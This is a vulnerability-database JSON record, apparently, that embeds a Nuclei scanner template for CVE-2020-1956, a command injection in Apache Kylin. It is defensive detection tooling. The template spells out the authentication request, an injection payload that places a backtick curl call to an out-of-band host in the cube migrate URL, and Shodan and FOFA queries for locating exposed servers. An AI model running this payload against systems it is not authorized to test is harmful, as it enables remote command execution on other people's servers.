{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-1956/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-1956/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-1956/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-1956/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-1956/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-1956"},"sightings":{"href":"/api/v1/sightings/cve-2020-1956"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-1956.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2020-1956\n\ninfo:\n  name: Apache Kylin 3.0.1 - Command Injection Vulnerability\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: high\n  description: |\n    Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized remote code execution and potential compromise of the affected server.\n  remediation: |\n    Upgrade to a patched version of Apache Kylin or apply the necessary security patches provided by the vendor.\n  reference:\n    - https://www.sonarsource.com/blog/apache-kylin-command-injection-vulnerability/\n    - https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-1956\n    - http://www.openwall.com/lists/oss-security/2020/07/14/1\n    - https://lists.apache.org/thread.html/r021baf9d8d4ae41e8c8332c167c4fa96c91b5086563d9be55d2d7acf@%3Ccommits.kylin.apache.org%3E\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2020-1956\n    cwe-id: CWE-78\n    epss-score: 0.97337\n    epss-percentile: 0.99894\n    cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: apache\n    product: kylin\n    shodan-query: http.favicon.hash:-186961397\n    fofa-query: icon_hash=-186961397\n  tags: cve,cve2020,apache,kylin,rce,oast,kev,vkev,vuln\nvariables:\n  username: \"{{username}}:\"\n  password: \"{{password}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /kylin/api/user/authentication HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}\n      - |\n        POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - http\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: curl\"\n# digest: 4a0a00473045022049314ecf0c25d34d0c650eb20b0cba4256041d099f41a7a598a692f3789b7320022100ceebaec9598f9c4d65ff1c850a8ffb071150c1d97de0f43b3b7f27ae9050bb0a:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-1956"}